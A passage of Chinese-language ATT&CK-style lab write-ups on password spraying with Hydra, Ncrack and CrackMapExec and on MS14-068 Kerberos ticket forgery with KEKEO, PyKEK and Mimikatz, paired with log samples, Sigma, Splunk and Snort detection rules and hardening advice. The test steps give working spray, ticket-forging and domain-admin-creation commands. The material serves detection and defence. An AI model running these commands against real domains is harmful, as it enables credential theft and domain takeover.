**账号策略**：\n   - 配置账号锁定策略（组策略：账户策略 > 账户锁定策略 > 锁定阈值5次，持续30分钟）。\n   - 强制复杂密码策略（最小长度12位，包含大小写、数字、特殊字符）。\n2. **日志监控**：\n   - 启用事件ID4625、4624、4740审计。\n   - 部署Sysmon，监控暴力破解工具执行。\n   - 使用SIEM关联登录失败和成功事件。\n3. **网络防护**：\n   - 限制SMB（445/TCP）、RDP（3389/TCP）外部访问。\n   - 部署IDS/IPS，检测高频认证流量。\n4. **多因素认证（MFA）**：\n   - 为高权限账号启用MFA。\n   - 对远程访问（如RDP、VPN）强制MFA。\n5. **主动防御**：\n   - 部署诱捕账号，监控异常登录尝试。\n   - 使用EDR检测暴力破解工具（如Hydra、CrackMapExec）。\n\n## 参考推荐\n- MITRE ATT&CK T1110:  \n  <https://attack.mitre.org/techniques/T1110/>\n- Hydra使用指南:  \n  <https://github.com/vanhauser-thc/thc-hydra>\n- CrackMapExec文档:  \n  <https://github.com/byt3bl33d3r/CrackMapExec>\n- 密码喷洒防御:  \n  <https://www.microsoft.com/security/blog/2020/04/23/password-spray-attacks-how-to-protect-your-organization/>\n- 密码字典资源:  \n  <https://github.com/danielmiessler/SecLists>\n- Sysmon配置:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>"
  },
  {
    "path": "Windows/08凭证访问/T1110.003-Win-密码喷射.md",
    "content": "# T1110.003-Win-密码喷射\n\n## 描述\n\n密码喷射（Password Spraying）是一种暴力破解技术，攻击者使用单一或少量常见密码（如“Password123”）尝试登录多个用户账户，以规避账户锁定策略。与传统暴力破解（针对单一账户尝试多个密码）不同，密码喷射针对多个账户使用相同密码，避免触发登录失败阈值。攻击者通常通过社交工程、网络钓鱼或LDAP查询收集用户ID，结合域密码策略选择可能密码，攻击常见服务如RDP（3389/TCP）、SMB（445/TCP）、LDAP（389/TCP）、Kerberos（88/TCP）。成功登录后，攻击者可获取未授权访问权限，用于横向移动或特权提升。\n\n## 测试案例\n\n### 测试环境\n- 域控制器：Windows Server 2019（dc.lab.local）\n- 域内主机：Windows 10\n- 工具：Hydra、Ncrack、CrackMapExec\n- 要求：域用户列表（users.txt）、常见密码（如Password123）、域控制器地址、域密码策略（如锁定阈值5次，锁定窗口30分钟）\n\n### 测试准备\n1. 收集域用户列表：\n   ```powershell\n   net user /domain > users.txt\n   ```\n   - 编辑`users.txt`，保留用户名（如testuser1,testuser2）。\n2. 准备密码列表（如`passwords.txt`：Password123,Summer2025）。\n3. 确认域密码策略：\n   ```powershell\n   net accounts /domain\n   ```\n   - 示例输出：`Lockout threshold: 5 attempts, Lockout duration: 30 minutes`\n4. 安装工具：\n   - Kali Linux：预装Hydra、Ncrack\n   - CrackMapExec：`pip install crackmapexec`\n\n### 测试步骤\n1. **场景一：Hydra RDP密码喷射**：\n   ```bash\n   hydra -L users.txt -p Password123 rdp://dc.lab.local -t 4 -w 30\n   ```\n   - 参数说明：\n     - `-L users.txt`：用户列表\n     - `-p Password123`：单一密码\n     - `-t 4`：4个并发线程（低于锁定阈值）\n     - `-w 30`：每次尝试间隔30秒\n   - 输出示例：\n     ```\n     [3389][rdp] host: dc.lab.local login: testuser1 password: Password123\n     ```\n\n2. **场景二：Ncrack RDP密码喷射**：\n   ```bash\n   ncrack -u users.txt -p Password123 -T 3 rdp://dc.lab.local --pairwise\n   ```\n   - 参数说明：\n     - `-T 3`：降低扫描速度\n     - `--pairwise`：逐对尝试，避免锁定\n   - 输出示例：\n     ```\n     Discovered credentials: testuser1 Password123\n     ```\n\n3. **场景三：CrackMapExec SMB密码喷射**：\n   ```bash\n   crackmapexec smb dc.lab.local -u users.txt -p Password123 --continue-on-success\n   ```\n   - 输出示例：\n     ```\n     [+] dc.lab.local testuser1:Password123 (Pwn3d!)\n     ```\n\n### 参考资源\n- CrackMapExec文档：<https://mpgn.gitbook.io/crackmapexec/>\n- Hydra使用指南：<https://www.jianshu.com/p/4da49f179cee>\n- 内网渗透之PTH&PTT&PTK：<https://www.bbsmax.com/A/A7zgkjRPz4/>\n\n## 检测日志\n\n### 数据来源\n- **Windows安全日志**：\n  - 域控制器：\n    - 事件ID4625：登录失败\n    - 事件ID4771：Kerberos预身份验证失败\n  - 域内主机：\n    - 事件ID4648：使用显式凭据登录\n- **Sysmon日志**：\n  - 事件ID1：进程创建，监控Hydra/Ncrack/CME\n  - 事件ID3：网络连接，捕获RDP/SMB/LDAP流量\n- **网络流量**：\n  - 捕获RDP（3389/TCP）、SMB（445/TCP）、LDAP（389/TCP）、Kerberos（88/TCP）异常登录尝试\n- **防火墙日志**：\n  - 记录来源IP的频繁连接尝试\n\n### 日志示例\n- **事件ID4625**（登录失败，RDP）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">testuser1</Data>\n      <Data Name=\"TargetDomainName\">LAB</Data>\n      <Data Name=\"FailureReason\">未知用户名或密码错误。</Data>\n      <Data Name=\"Status\">0xc000006d</Data>\n      <Data Name=\"SubStatus\">0xc0000064</Data>\n      <Data Name=\"LogonType\">10</Data>\n      <Data Name=\"LogonProcessName\">User32</Data>\n      <Data Name=\"AuthenticationPackageName\">Negotiate</Data>\n      <Data Name=\"WorkstationName\">ATTACKER-PC</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4771**（Kerberos预身份验证失败，LDAP）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">testuser1</Data>\n      <Data Name=\"SuppliedRealmName\">LAB</Data>\n      <Data Name=\"FailureCode\">0x18</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4648**（显式凭据登录）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"AccountName\">testuser1</Data>\n      <Data Name=\"TargetServerName\">dc.lab.local</Data>\n    </EventData>\n  </Event>\n  ```\n\n## 测试复现\n\n### 环境配置\n- 域控制器：Windows Server 2019（dc.lab.local）\n- 域内主机：Windows 10\n- 工具：Hydra、Ncrack\n- 用户列表：`users.txt`（testuser1,testuser2,...）\n- 密码：`Password123`\n- 域策略：锁定阈值5次，锁定窗口30分钟\n\n### 复现步骤\n1. **Hydra RDP密码喷射**：\n   ```bash\n   hydra -L users.txt -p Password123 rdp://dc.lab.local -t 4 -w 30\n   ```\n   - 输出示例：\n     ```\n     [3389][rdp] host: dc.lab.local login: testuser1 password: Password123\n     ```\n2. **Ncrack RDP密码喷射**：\n   ```bash\n   ncrack -u users.txt -p Password123 -T 3 rdp://dc.lab.local --pairwise\n   ```\n   - 输出示例：\n     ```\n     Discovered credentials: testuser1 Password123\n     ```\n3. **验证日志**：\n   - 域控制器：检查事件ID4625、4771。\n   - 域内主机：检查事件ID4648。\n\n## 测试留痕\n\n### Windows安全日志\n- **事件ID4625**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">testuser1</Data>\n      <Data Name=\"TargetDomainName\">LAB</Data>\n      <Data Name=\"FailureReason\">未知用户名或密码错误。</Data>\n      <Data Name=\"Status\">0xc000006d</Data>\n      <Data Name=\"SubStatus\">0xc0000064</Data>\n      <Data Name=\"LogonType\">10</Data>\n      <Data Name=\"LogonProcessName\">User32</Data>\n      <Data Name=\"AuthenticationPackageName\">Negotiate</Data>\n      <Data Name=\"WorkstationName\">ATTACKER-PC</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4771**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">testuser1</Data>\n      <Data Name=\"SuppliedRealmName\">LAB</Data>\n      <Data Name=\"FailureCode\">0x18</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4648**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"AccountName\">testuser1</Data>\n      <Data Name=\"TargetServerName\">dc.lab.local</Data>\n    </EventData>\n  </Event>\n  ```\n\n### Sysmon日志\n- **事件ID1**（Hydra进程创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">/usr/bin/hydra</Data>\n      <Data Name=\"CommandLine\">hydra -L users.txt -p Password123 rdp://dc.lab.local</Data>\n      <Data Name=\"User\">attacker</Data>\n    </EventData>\n  </Event>\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. **日志监控**：\n   - 监控事件ID4625、4771，检测单一来源IP/主机短时间内尝试多个用户账户的登录失败。\n   - 监控事件ID4648，检测异常显式凭据登录。\n2. **网络监控**：\n   - 捕获RDP（3389/TCP）、SMB（445/TCP）、LDAP（389/TCP）、Kerberos（88/TCP）频繁连接。\n   - 示例Snort规则：\n     ```snort\n     alert tcp any any -> any 3389 (msg:\"RDP Password Spray Attempt\"; content:\"AUTH\"; threshold:type threshold,track by_src,count 50,seconds 60;sid:1000003;)\n     ```\n3. **行为分析**：\n   - 检测单一来源尝试多个用户账户的模式（>50次/分钟）。\n   - 使用Sysmon事件ID1监控Hydra/Ncrack/CME进程。\n4. **基线建立**：\n   - 记录正常登录失败频率，识别异常高峰。\n\n### Sigma规则\n#### 场景一：RDP/SMB密码喷射\n```yaml\ntitle: RDP或SMB密码喷射检测\nid: a1b2c3d4-5e6f-4a3b-9c8d-4e5f6a7b8c9d\nstatus: stable\ndescription: 检测RDP或SMB密码喷射攻击，关注多用户登录失败\nreferences:\n  - https://attack.mitre.org/techniques/T1110/003/\ntags:\n  - attack.credential_access\n  - attack.t1110.003\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection_4625:\n    EventID: 4625\n    LogonType|in:\n      - 3\n      - 10\n    FailureReason: '未知用户名或密码错误。'\n    Status: 0xc000006d\n    SubStatus: 0xc0000064\n    AuthenticationPackageName|in:\n      - NTLM\n      - Negotiate\n  selection_4771:\n    EventID: 4771\n    FailureCode: 0x18\n  timeframe: 60s\n  condition: (selection_4625 or selection_4771) | count(TargetUserName) by WorkstationName > 50\nfields:\n  - EventID\n  - TargetUserName\n  - TargetDomainName\n  - WorkstationName\n  - FailureCode\n  - LogonType\nfalsepositives:\n  - 合法用户多次尝试错误密码\n  - 管理员测试账户\nlevel: high\n```\n\n#### 场景二：显式凭据登录异常\n```yaml\ntitle: 异常显式凭据登录检测\nid: c3d4e5f6-7a8b-4c5c-bd0e-6a7b8c9d0e1f\nstatus: stable\ndescription: 检测异常的显式凭据登录，可能是密码喷射攻击\nreferences:\n  - https://attack.mitre.org/techniques/T1110/003/\ntags:\n  - attack.credential_access\n  - attack.t1110.003\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection:\n    EventID: 4648\n    TargetServerName|endswith: '.local'\n  timeframe: 60s\n  condition: selection | count(AccountName) by WorkstationName > 100\nfields:\n  - EventID\n  - AccountName\n  - TargetServerName\n  - WorkstationName\nfalsepositives:\n  - 管理员批量测试账户\n  - 自动化脚本使用显式凭据\nlevel: medium\n```\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Security\"\n(EventCode=4625 LogonType IN (3,10) Status=0xc000006d SubStatus=0xc0000064 AuthenticationPackageName IN (\"NTLM\",\"Negotiate\")\nOR EventCode=4771 FailureCode=0x18\nOR EventCode=4648 TargetServerName=\"*.local\")\n| stats count by WorkstationName,TargetUserName\n| where count > 50\n| fields EventCode,TargetUserName,WorkstationName\n```\n\n规则说明：\n- 检测多用户登录失败或显式凭据登录，关联来源主机。\n- 减少误报：设置阈值（>50次/分钟）。\n\n## 防御建议\n1. **密码策略**：\n   - 强制复杂密码（≥12位，混合字符类型）。\n   - 设置锁定策略（阈值5次，锁定30分钟）。\n2. **服务防护**：\n   - 限制RDP/SMB/LDAP外部访问，使用VPN或IP白名单。\n   - 禁用不必要端口（如NetBIOS、Telnet）。\n3. **日志监控**：\n   - 启用事件ID4625、4771、4648审计。\n   - 部署Sysmon，监控可疑进程和网络连接。\n   - 使用SIEM（如Splunk）关联多用户登录失败。\n4. **多因素认证（MFA）**：\n   - 为RDP、LDAP、VPN启用MFA。\n5. **主动防御**：\n   - 部署诱捕账户，监控异常登录。\n   - 使用EDR工具检测Hydra/Ncrack/CME。\n6. **用户教育**：\n   - 培训用户识别钓鱼邮件，避免泄露用户名。\n\n## 参考推荐\n- MITRE ATT&CK T1110.003:  \n  <https://attack.mitre.org/techniques/T1110/003/>\n- Active Directory密码喷射检测:  \n  <https://www.96007.club/2019/09/17/Credential-Access-win-Password-spraying/>\n- Hydra使用指南:  \n  <https://www.jianshu.com/p/4da49f179cee>\n- CrackMapExec文档:  \n  <https://mpgn.gitbook.io/crackmapexec/>\n- 内网渗透之PTH&PTT&PTK:  \n  <https://www.bbsmax.com/A/A7zgkjRPz4/>\n- LDAP协议介绍:  \n  <https://baike.baidu.com/item/LDAP/2875565>"
  },
  {
    "path": "Windows/08凭证访问/T1212-win-ms14-068-KEKEO.md",
    "content": "# T1212-Win-MS14-068-KEKEO\n\n## 描述\n\n攻击者可能利用Windows Kerberos协议漏洞MS14-068（CVE-2014-6324）通过票据传递攻击（Pass-the-Ticket，PtT）窃取凭据或提升权限。该漏洞允许已认证的域用户伪造Kerberos票据授予票据（TGT），将其权限提升至域管理员级别，控制域内资源。KEKEO工具可生成伪造票据，结合Mimikatz注入内存，绕过认证机制，访问域控制器或其他系统。攻击者还可伪造白银票据（Silver Ticket）针对特定服务（如SharePoint）或利用KRBTGT账户的NTLM哈希生成黄金票据（Golden Ticket），为任意账户创建TGT。此攻击无需本地管理员权限，仅需域用户凭据，影响Windows Server 2008 R2及以下版本，补丁KB3011780可修复。\n\n## 测试案例\n\n### 测试环境\n- 域控制器：Windows Server 2008 R2（未打补丁KB3011780）\n- 域内主机：Windows 7 SP1（域成员）\n- 工具：KEKEO、Mimikatz\n- 要求：域用户凭据（用户名、密码）、用户SID、域控制器地址、时间同步（Kerberos要求客户端与DC时间差小于5分钟）\n\n### 测试准备\n1. 确认域控制器未安装KB3011780补丁：\n   ```powershell\n   Get-HotFix -Id KB3011780\n   ```\n   - 输出为空表示未打补丁。\n2. 获取域用户凭据及SID：\n   ```cmd\n   whoami /user\n   ```\n   - 示例输出：`lab\\testuser S-1-5-21-1473643419-774954089-2222329127-1110`\n3. 确保时间同步：\n   ```cmd\n   net time \\\\dc.lab.local /set\n   ```\n4. 下载KEKEO（<https://github.com/gentilkiwi/kekeo>）和Mimikatz，准备Windows 7测试环境。\n\n### 测试步骤\n1. **查询权限**：\n   检查当前用户对域控制器C$共享的访问权限（预期无权限）：\n   ```cmd\n   dir \\\\dc.lab.local\\C$\n   ```\n   - 预期输出：`Access is denied`\n2. **生成伪造TGT**：\n   使用KEKEO生成伪造票据：\n   ```cmd\n   kekeo.exe \"tgs::ms14068 /user:testuser@lab.local /password:Passw0rd123 /sid:S-1-5-21-1473643419-774954089-2222329127-1110 /dc:dc.lab.local\"\n   ```\n   - 成功生成`.kirbi`文件（如`TGT_testuser@lab.local.kirbi`）。\n3. **注入票据**：\n   使用Mimikatz注入伪造票据：\n   ```cmd\n   mimikatz.exe\n   kerberos::purge\n   kerberos::list\n   kerberos::ptt TGT_testuser@lab.local.kirbi\n   exit\n   ```\n4. **验证权限提升**：\n   再次检查C$共享：\n   ```cmd\n   dir \\\\dc.lab.local\\C$\n   ```\n   - 预期输出：列出C$共享内容。\n   创建域管理员账户：\n   ```cmd\n   net user newadmin P@ssw0rd123 /add /domain\n   net group \"Domain Admins\" newadmin /add /domain\n   ```\n\n### 参考资源\n- KEKEO工具：<https://github.com/gentilkiwi/kekeo>\n- 内网渗透之PTH&PTT&PTK：<https://www.bbsmax.com/A/A7zgkjRPz4/>\n\n## 检测日志\n\n### 数据来源\n- **Windows安全日志**（域控制器）：\n  - 事件ID4624：账户登录，记录Kerberos网络登录。\n  - 事件ID4672：特权分配，记录异常高权限（如SeDebugPrivilege）。\n  - 事件ID4768：Kerberos认证请求，记录AS-REQ。\n  - 事件ID4769：Kerberos服务票据请求，记录TGS-REQ。\n- **Sysmon日志**：\n  - 事件ID1：进程创建，监控`kekeo.exe`或`mimikatz.exe`。\n  - 事件ID3：网络连接，捕获与域控制器的Kerberos通信（端口88）。\n- **网络流量**：\n  - 使用WireShark捕获Kerberos流量（端口88），关注AS-REQ中`include-pac:False`或TGS-REQ中MD5校验的异常票据。\n- **补丁状态**：\n  - 检查KB3011780补丁安装情况。\n\n### 日志示例\n- **事件ID4624**（账户登录）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">testuser</Data>\n      <Data Name=\"TargetDomainName\">LAB.LOCAL</Data>\n      <Data Name=\"LogonType\">3</Data>\n      <Data Name=\"AuthenticationPackageName\">Kerberos</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4672**（特权分配）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">testuser</Data>\n      <Data Name=\"TargetDomainName\">LAB.LOCAL</Data>\n      <Data Name=\"AssignedPrivileges\">SeDebugPrivilege,SeTcbPrivilege</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4769**（Kerberos服务票据请求）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">testuser</Data>\n      <Data Name=\"TargetDomainName\">LAB.LOCAL</Data>\n      <Data Name=\"ServiceName\">krbtgt/LAB.LOCAL</Data>\n      <Data Name=\"TicketOptions\">0x40810010</Data>\n    </EventData>\n  </Event>\n  ```\n\n## 测试复现\n\n### 环境配置\n- 域控制器：Windows Server 2008 R2（未打补丁KB3011780）\n- 域内主机：Windows 7 SP1\n- 工具：KEKEO、Mimikatz\n- 域用户：`testuser@lab.local`，密码`Passw0rd123`，SID`S-1-5-21-1473643419-774954089-2222329127-1110`\n- 域控制器：`dc.lab.local`\n\n### 复现步骤\n1. **检查权限**：\n   ```cmd\n   whoami /user\n   dir \\\\dc.lab.local\\C$\n   ```\n2. **生成伪造票据**：\n   ```cmd\n   kekeo.exe \"tgs::ms14068 /user:testuser@lab.local /password:Passw0rd123 /sid:S-1-5-21-1473643419-774954089-2222329127-1110 /dc:dc.lab.local\"\n   ```\n   - 输出示例：\n     ```\n     [+] MS14-068 exploitation: Building AS-REQ for dc.lab.local... Done!\n     [+] Sending AS-REQ to dc.lab.local... Done!\n     [+] Receiving AS-REP from dc.lab.local... Done!\n     [+] Building TGS-REQ for dc.lab.local... Done!\n     [+] Sending TGS-REQ to dc.lab.local... Done!\n     [+] Creating kirbi file 'TGT_testuser@lab.local.kirbi'... Done!\n     ```\n3. **注入票据**：\n   ```cmd\n   mimikatz.exe \"kerberos::purge\" \"kerberos::list\" \"kerberos::ptt TGT_testuser@lab.local.kirbi\" exit\n   ```\n4. **验证权限提升**：\n   ```cmd\n   dir \\\\dc.lab.local\\C$\n   net user newadmin P@ssw0rd123 /add /domain\n   net group \"Domain Admins\" newadmin /add /domain\n   ```\n\n## 测试留痕\n\n### Windows安全日志（域控制器）\n- **事件ID4624**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">testuser</Data>\n      <Data Name=\"TargetDomainName\">LAB.LOCAL</Data>\n      <Data Name=\"LogonType\">3</Data>\n      <Data Name=\"AuthenticationPackageName\">Kerberos</Data>\n      <Data Name=\"WorkstationName\">WIN7-CLIENT</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4672**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">testuser</Data>\n      <Data Name=\"TargetDomainName\">LAB.LOCAL</Data>\n      <Data Name=\"AssignedPrivileges\">SeDebugPrivilege,SeTcbPrivilege</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4769**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">testuser</Data>\n      <Data Name=\"TargetDomainName\">LAB.LOCAL</Data>\n      <Data Name=\"ServiceName\">krbtgt/LAB.LOCAL</Data>\n      <Data Name=\"TicketOptions\">0x40810010</Data>\n    </EventData>\n  </Event>\n  ```\n\n### Sysmon日志\n- **事件ID1**（进程创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">C:\\Tools\\kekeo.exe</Data>\n      <Data Name=\"CommandLine\">kekeo.exe tgs::ms14068 /user:testuser@lab.local /password:Passw0rd123 /sid:S-1-5-21-1473643419-774954089-2222329127-1110 /dc:dc.lab.local</Data>\n      <Data Name=\"User\">LAB\\testuser</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID3**（网络连接）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">C:\\Tools\\kekeo.exe</Data>\n      <Data Name=\"DestinationIp\">192.168.1.10</Data>\n      <Data Name=\"DestinationPort\">88</Data>\n    </EventData>\n  </Event>\n  ```\n\n### 网络流量（WireShark）\n- AS-REQ：`include-pac:False`（正常请求包含PAC）。\n- TGS-REQ：伪造PAC，使用MD5校验（非标准HMAC_MD5或AES）。\n\n## 检测规则/思路\n\n### 检测方法\n1. **日志监控**：\n   - 监控事件ID4624、4672、4768、4769，检查`TargetDomainName`或`SuppliedRealmName`是否包含异常点号（`.`）。\n   - 检测事件ID4672中非管理员用户的异常高权限（如SeDebugPrivilege）。\n2. **网络监控**：\n   - 捕获Kerberos流量（端口88），检测AS-REQ中`include-pac:False`或TGS-REQ中MD5校验。\n   - 示例Snort规则：\n     ```snort\n     alert udp any any -> any 88 (msg:\"MS14-068 KEKEO Exploit Attempt\"; content:\"include-pac:False\"; sid:1000002;)\n     ```\n3. **行为分析**：\n   - 检测低权限用户访问域控制器C$共享或创建域管理员账户。\n   - 监控`kekeo.exe`、`mimikatz.exe`或异常票据注入行为。\n4. **补丁状态**：\n   - 使用PowerShell检查补丁：\n     ```powershell\n     Get-HotFix -Id KB3011780\n     ```\n\n### Sigma规则\n```yaml\ntitle: MS14-068 KEKEO Kerberos Exploitation Attempt\nid: 9b7c8d3e-6f7a-4b4b-ac9d-3f4a5b6c7d8e\nstatus: stable\ndescription: Detects potential MS14-068 exploitation attempts using KEKEO to forge Kerberos tickets\nreferences:\n  - https://attack.mitre.org/techniques/T1212/\n  - https://adsecurity.org/?p=556\ntags:\n  - attack.privilege_escalation\n  - attack.t1212\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection_4624:\n    EventID: 4624\n    LogonType: 3\n    AuthenticationPackageName: Kerberos\n    TargetDomainName|contains: '.'\n  selection_4672:\n    EventID: 4672\n    TargetDomainName|contains: '.'\n    AssignedPrivileges|contains:\n      - SeDebugPrivilege\n      - SeTcbPrivilege\n  selection_4768:\n    EventID: 4768\n    SuppliedRealmName|contains: '.'\n  selection_4769:\n    EventID: 4769\n    ServiceName|contains: 'krbtgt'\n    TargetDomainName|contains: '.'\n  filter_normal:\n    TargetUserName|in:\n      - 'ntp$'\n      - 'S-1-0-0'\n  timeframe: 5s\n  condition: (selection_4624 and selection_4672 and (selection_4768 or selection_4769)) and not filter_normal\nfields:\n  - EventID\n  - TargetUserName\n  - TargetDomainName\n  - LogonType\n  - AuthenticationPackageName\n  - AssignedPrivileges\n  - SuppliedRealmName\n  - ServiceName\nfalsepositives:\n  - Complex domain names in legitimate Kerberos authentication\n  - Administrative tools accessing domain resources\nlevel: high\n```\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Security\"\n(EventCode=4624 LogonType=3 AuthenticationPackageName=Kerberos TargetDomainName=\"*.*\"\nOR EventCode=4672 TargetDomainName=\"*.*\" AssignedPrivileges IN (\"*SeDebugPrivilege*\",\"*SeTcbPrivilege*\")\nOR EventCode=4768 SuppliedRealmName=\"*.*\"\nOR EventCode=4769 ServiceName=\"*krbtgt*\" TargetDomainName=\"*.*\")\nNOT TargetUserName IN (\"ntp$\",\"S-1-0-0\")\n| transaction TargetUserName maxspan=5s\n| fields EventCode,TargetUserName,TargetDomainName,LogonType,AuthenticationPackageName,AssignedPrivileges,SuppliedRealmName,ServiceName\n```\n\n规则说明：\n- 检测异常Kerberos票据请求，结合高权限分配。\n- 减少误报：排除常见系统账户（如ntp$），使用5秒时间窗口。\n\n## 防御建议\n1. **补丁管理**：\n   - 立即为域控制器安装KB3011780补丁，优先Windows Server 2008/2008 R2。\n   - 使用PowerShell脚本定期检查补丁状态。\n2. **日志配置**：\n   - 启用事件ID4768/4769审计，记录成功和失败事件。\n   - 部署Sysmon，监控`kekeo.exe`、`mimikatz.exe`和Kerberos网络连接。\n3. **权限控制**：\n   - 最小化域用户权限，限制对域控制器共享（如C$）的访问。\n   - 使用组策略禁用非管理员的网络登录权限。\n4. **网络防护**：\n   - 部署IDS/IPS，检测`include-pac:False`或MD5校验的Kerberos流量。\n   - 限制Kerberos端口（88）访问，仅允许必要设备通信。\n5. **主动防御**：\n   - 部署诱捕账户，监控异常高权限登录。\n   - 使用EDR工具检测票据注入或异常进程行为。\n6. **时间同步**：\n   - 确保所有系统与域控制器时间同步，防止票据伪造。\n\n## 参考推荐\n- MITRE ATT&CK T1212:  \n  <https://attack.mitre.org/techniques/T1212/>\n- Active Directory Security: MS14-068 Exploit Analysis:  \n  <https://adsecurity.org/?p=556>\n- Microsoft Security Bulletin MS14-068:  \n  <https://support.microsoft.com/kb/3011780>\n- KEKEO GitHub Repository:  \n  <https://github.com/gentilkiwi/kekeo>\n- 内网渗透之PTH&PTT&PTK:  \n  <https://www.bbsmax.com/A/A7zgkjRPz4/>\n- Detecting Kerberos Ticket Forgery:  \n  <https://adsecurity.org/?p=676>"
  },
  {
    "path": "Windows/08凭证访问/T1212-win-ms14-068-PYKEK.md",
    "content": "# T1212-Win-MS14-068-PyKEK\n\n## 描述\n\n攻击者可能利用软件漏洞（如MS14-068，CVE-2014-6324）通过伪造Kerberos票据（TGT）收集凭据或提升特权。MS14-068是Windows Kerberos协议中的漏洞，允许已认证的域用户伪造权限属性证书（PAC），将其权限提升至域管理员级别，从而完全控制域内资源。攻击者使用Python Kerberos Exploitation Kit（PyKEK）生成伪造票据，结合Mimikatz注入内存，绕过认证机制，访问域控制器或其他系统。此漏洞无需本地管理员权限，仅需域用户凭据，影响Windows Server 2008 R2及以下版本，Windows Server 2012/2012 R2受影响较小。补丁KB3011780可修复此漏洞。\n\n## 测试案例\n\n### 测试环境\n- 域控制器：Windows Server 2008 R2（未打补丁KB3011780）\n- 域内主机：Windows 7 SP1（域成员）\n- 工具：PyKEK（ms14-068.py）、Mimikatz\n- 要求：域用户凭据（用户名、密码）、用户SID、域控制器地址、时间同步（Kerberos要求客户端与DC时间差小于5分钟）\n\n### 测试准备\n1. 确认域控制器未安装KB3011780补丁：\n   ```powershell\n   Get-HotFix -ID KB3011780\n   ```\n   - 输出为空表示未打补丁。\n2. 获取域用户凭据及SID：\n   ```cmd\n   whoami /user\n   ```\n   - 示例输出：`lab\\darthsidious S-1-5-21-1473643419-774954089-2222329127-1110`\n3. 确保时间同步：\n   ```cmd\n   net time \\\\dc.lab.local /set\n   ```\n4. 下载PyKEK（<https://github.com/bidord/pykek>）并安装依赖（Python 2.7、Kerberos支持库，如`python-kerberos`）：\n   ```bash\n   pip install kerberos\n   ```\n\n### 测试步骤\n1. **查询权限**：\n   检查当前用户对域控制器C$共享的访问权限（预期无权限）：\n   ```cmd\n   dir \\\\dc.lab.local\\C$\n   ```\n   - 预期输出：`Access is denied`\n2. **生成伪造票据**：\n   使用PyKEK生成伪造TGT：\n   ```cmd\n   python ms14-068.py -u darthsidious@lab.local -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d dc.lab.local\n   ```\n   - 成功生成`.ccache`文件（如`TGT_darthsidious@lab.local.ccache`）。\n3. **注入票据**：\n   使用Mimikatz注入伪造票据：\n   ```cmd\n   mimikatz.exe\n   kerberos::purge\n   kerberos::list\n   kerberos::ptc TGT_darthsidious@lab.local.ccache\n   exit\n   ```\n4. **验证权限提升**：\n   再次检查C$共享：\n   ```cmd\n   dir \\\\dc.lab.local\\C$\n   ```\n   - 预期输出：列出C$共享内容。\n   创建域管理员账户：\n   ```cmd\n   net user newadmin P@ssw0rd123 /add /domain\n   net group \"Domain Admins\" newadmin /add /domain\n   ```\n\n### 参考资源\n- PyKEK工具：<https://github.com/bidord/pykek>\n- 内网渗透之PTH&PTT&PTK：<https://www.bbsmax.com/A/A7zgkjRPz4/>\n\n## 检测日志\n\n### 数据来源\n- **Windows安全日志**（域控制器）：\n  - 事件ID4624：账户登录，记录Kerberos网络登录。\n  - 事件ID4672：特权分配，记录异常高权限（如SeDebugPrivilege）。\n  - 事件ID4768：Kerberos认证请求，记录AS-REQ。\n  - 事件ID4769：Kerberos服务票据请求，记录TGS-REQ。\n- **Sysmon日志**：\n  - 事件ID1：进程创建，监控`ms14-068.py`或`mimikatz.exe`。\n  - 事件ID3：网络连接，捕获与域控制器的Kerberos通信（端口88）。\n- **网络流量**：\n  - 使用WireShark捕获Kerberos流量（端口88），关注AS-REQ中`include-pac:False`或TGS-REQ中MD5校验的异常票据。[](https://adsecurity.org/?p=763)\n- **补丁状态**：\n  - 检查KB3011780补丁安装情况。\n\n### 日志示例\n- **事件ID4624**（账户登录）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">darthsidious</Data>\n      <Data Name=\"TargetDomainName\">LAB.LOCAL</Data>\n      <Data Name=\"LogonType\">3</Data>\n      <Data Name=\"AuthenticationPackageName\">Kerberos</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4672**（特权分配）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">darthsidious</Data>\n      <Data Name=\"TargetDomainName\">LAB.LOCAL</Data>\n      <Data Name=\"AssignedPrivileges\">SeDebugPrivilege,SeTcbPrivilege</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4769**（Kerberos服务票据请求）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetUserName\">darthsidious</Data>\n      <Data 